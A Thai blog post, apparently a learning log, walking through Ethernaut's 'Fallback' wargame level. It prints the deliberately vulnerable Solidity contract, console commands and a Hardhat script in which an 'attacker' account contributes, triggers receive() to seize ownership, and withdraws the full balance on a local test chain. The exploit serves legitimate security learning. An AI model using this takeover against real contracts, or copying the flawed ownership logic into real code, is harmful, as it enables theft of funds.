- บันทึกการเรียนรู้ Solidity ผ่าน Ethernaut
- Ethernaut - Level 1 - Fallback
Ethernaut - Level 1 - Fallback
เขียนวันที่ : May 21, 2022
Fallback
Link: Ethernaut : 1. Fallback
จากทีแรกผมตั้งเป้าหมายไว้ว่า จะลองหัดเขียนโดยที่ไม่ดูตัวอย่างเลย ปรากฎว่า จริงๆ มันยากกว่าที่ผมคิดไว้ 🤣 เลยคิดว่า พยายามคิดระดับนึง แล้วก็ดู Solution อื่นๆ และเรียนรู้ไปพร้อมๆกัน น่าจะเป็นวิธีที่ดี และสนุกสำหรับผม มากกว่า
เงื่อนไขสำหรับข้อนี้คือ
- ให้เรา claim ownership ของ contract นี้
- ทำให้ balance เป็น 0
จากโค๊ดที่ได้มาจากโจทย์
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./openzeppelin-3.2.0/math/SafeMath.sol";
contract Fallback {
using SafeMath for uint256;
mapping(address => uint256) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Walkthrought
เริ่มทำโจทย์ กด Get new instance และ Confirm transaction ด้วย Metamask จากนั้นก็ทำผ่าน Console บน Browser เลย
- Contribute to contract.
await contract.contribute({value:1})
- ส่ง transaction เพื่อ trigger fallback function.
sendTransaction({ to: contract.address, value: 1 })
- เช็ค owner
await contract.owner()
- withdraw
await contract.withdraw()
- เช็ค balance เพื่อยืนยันว่าเหลือ 0 แล้ว
await getBalance(instance)
// หรือแบบนี้ก็ได้เหมือนกัน
await getBalance(contract.address)
🎉 Done เรียบร้อย ผ่านด่านแล้ว
Hardhat
ทีนี้ผมอยากเรียนรู้มากขึ้น ก็เลยมาเขียนเป็น contract รันบน local ด้วย Hardhat จะได้เผื่อเข้าใจมากขึ้น
ตัวอย่างโค๊ดเป็น compiler v0.6 แต่สิ่งที่ผมใช้ปัจจุบันคือ v0.8.x ซึ่งมันก็มี breaking changes พอสมควร (หลายๆ ครั้งผมมักเจอโค๊ดเก่าๆ ก็ทำให้ได้เรียนรู้ตลอด)
address payable
- ไม่มีแล้ว ถ้าจะ convert ให้ใช้payable(address)
แทน- SafeMath เป็น built-in มาใน Solidity แล้ว
- พวก visibility specifier ต่างๆ ที่ Text Editor มัน warning เช่น Constructore ไม่ต้องมี public (เพราะ public มันไม่มีผลกับ constructor)
จากนั้น ผมก็แปลง Fallback เป็นเวอร์ชั่น 0.8.x ครับ ได้แบบนี้
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract FallbackV2 {
mapping(address => uint256) public contributions;
address payable public owner;
constructor() {
owner = payable(msg.sender);
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = payable(msg.sender);
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = payable(msg.sender);
}
}
ไฟล์ scripts ที่ได้ก็จะเป็นแบบนี้
import assert from 'assert';
import { ethers } from 'hardhat';
const main = async () => {
const ContractFactory = await ethers.getContractFactory('FallbackV2');
const contract = await ContractFactory.deploy();
await contract.deployed();
console.log('Contract deployed to:', contract.address);
const [owner, attacker] = await ethers.getSigners();
console.log(`Owner address : ${owner.address}`);
console.log(`Attacker address ${attacker.address}`);
// 1. Send some ether to contribute()
await contract.connect(attacker).contribute({ value: 1 });
// 2. Send transaction the fallback function will make attacker the owner.
// Fallback function - https://www.geeksforgeeks.org/solidity-fall-back-function/
await attacker.sendTransaction({
to: contract.address,
value: ethers.utils.parseUnits('1', 'wei')
});
// 3. Check the owner
const contractOwner = await contract.owner();
assert(contractOwner === attacker.address, 'isOwner?');
// 4. Make withdraw to take all money
const tx = await contract.connect(attacker).withdraw();
tx.wait();
// 5. Verify contract balance is 0
const balance = await contract.provider.getBalance(contract.address);
assert(balance.toString() === '0', 'Balance is empty');
console.log(`Total balance : ${balance}`);
};
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
ทดสอบรัน script
npx hardhat run scripts/01-fallback-v2.ts
สิ่งที่ได้เรียนรู้จากบทเรียนนี้
- วิธีการส่ง ether ด้วยการเชื่อม ABI กับ Client Library (Ethers.js)
- ใช้ utils function เช่น convert wei -> ether หรือหน่วยอื่นๆ
- เรียนรู้ Fallback methods
- ตัว
SafeMath
เป็น built-in ของ Solidity ตั้งแต่ version 0.8.0
สุดท้าย Source Code ครับ อยู่ใน folder /ethernaut/01-Fallback มีไฟล์ Contracts, scripts และไฟล์ tests